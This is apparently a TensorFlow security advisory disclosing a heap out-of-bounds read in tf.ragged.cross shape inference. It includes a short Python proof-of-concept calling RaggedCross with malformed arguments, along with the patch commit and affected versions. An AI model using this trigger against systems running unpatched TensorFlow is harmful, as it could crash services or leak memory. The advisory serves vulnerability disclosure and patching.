Heap OOB read in `tf.ragged.cross`
### Impact
The shape inference code for `tf.ragged.cross`
https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64 can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.RaggedCross(ragged_values=[],
ragged_row_splits=[],
sparse_indices=[[5]],
sparse_values=[],
sparse_shape=[5],
dense_inputs=[['a']],
input_order='RD',
hashed_output=False,
num_buckets=5,
hash_key=2,
out_values_type=tf.string,
out_row_splits_type=tf.int64)
return y
test()
```
### Patches
We have patched the issue in GitHub commit fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8
https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.